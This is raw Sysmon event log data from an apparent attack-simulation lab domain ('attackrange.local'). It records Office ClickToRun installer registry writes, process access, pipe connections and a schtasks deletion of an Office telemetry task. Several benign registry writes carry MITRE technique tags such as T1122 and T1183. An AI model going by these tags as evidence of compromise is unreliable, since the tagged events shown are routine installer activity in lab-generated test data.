14:44:10.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.065{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B508-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.065{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-B508-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000041676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.065{7BD73061-6F3A-613B-B408-00000000F001}49564808C:\Windows\system32\conhost.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.065{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B408-00000000F001}4956C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.049{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9abc5|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f14fd|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.053{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\OfficeTelemetryAgentLogOn2016"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 18141800x800000000000000041666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.049{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000041665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E2F5480E-ED5A-4DDE-B8A8-F9F297479F62}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4693FF15-B962-420A-9E5D-176F7D4B8321}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9FBC2D8F-6F52-4CFA-A86F-096F3E9EB4B2}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 23542300x800000000000000013813Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:10.000{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5D8DDE7C4412D0821FB93132E814944,SHA256=B115DDCBA047C64D93AB255F3D854EA53722312BD09F8A75A50663356B1B665F,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000041662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F90DFE0C-CBDF-41FF-8598-EDD8F222A2C8}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{DDFE337F-4987-4EC8-BDE3-133FA63D5D85}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A98B233-3C59-4B31-944C-0E560D85E6C3}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4039B326-9F27-4B4A-B460-47A0C6A39D5C}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\MSGFILT.DLL 13241300x800000000000000041656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{ED475410-B0D6-11D2-8C3B-00104B2A6676}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\OLMAPI32.DLL 13241300x800000000000000041655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{A0D4CD32-5D5D-4f72-BAAA-767A7AD6BAC5}\shell\open\command\(Default)"C:\Program Files\Microsoft Office\root\Client\AppVLP.exe" rundll32.exe shell32.dll,Control_RunDLL "C:\Program Files\Microsoft Office\root\Office16\MLCFG32.CPL" 13241300x800000000000000041654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{138508bc-1e03-49ea-9c8f-ea9e1d05d65d}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\MAPISHELL.DLL 13241300x800000000000000041653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F8E61EDD-EA25-484e-AC8A-7447F2AAE2A9}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\Interceptor.dll 13241300x800000000000000041652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Outlook\TypesSupportedDWORD (0x00000007) 13241300x800000000000000041647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Outlook\VersionDWORD (0x0000000d) 13241300x800000000000000041646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:10.034{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\Outlook\EventMessageFileC:\Program Files\Microsoft Office\root\Office16\1033\MAPIR.DLL 23542300x800000000000000041645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.018{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.018{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.OUTLOOK.16.1033.hxnMD5=AB37CD23C6A203CCD6AC04205B7F1B30,SHA256=FA9EF298F69F401EB9F25BACAFE48D522C62681A77FCED531502AC09605DA02E,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000041643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{E2F5480E-ED5A-4DDE-B8A8-F9F297479F62}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4693FF15-B962-420A-9E5D-176F7D4B8321}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{9FBC2D8F-6F52-4CFA-A86F-096F3E9EB4B2}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\ODFFILT.DLL 13241300x800000000000000041640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{20E823C2-62F3-4638-96BD-90F4F6784EBC}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{F90DFE0C-CBDF-41FF-8598-EDD8F222A2C8}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{DDFE337F-4987-4EC8-BDE3-133FA63D5D85}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{5A98B233-3C59-4B31-944C-0E560D85E6C3}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\OFFFILTX.DLL 13241300x800000000000000041635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{4039B326-9F27-4B4A-B460-47A0C6A39D5C}\InProcServer32\(Default)C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Filters\MSGFILT.DLL 13241300x800000000000000041634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.002{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 23542300x800000000000000041631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.987{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000042161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.977{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\TypeDWORD (0x00000002) 13241300x800000000000000042160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.977{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\IsolationDWORD (0x00000000) 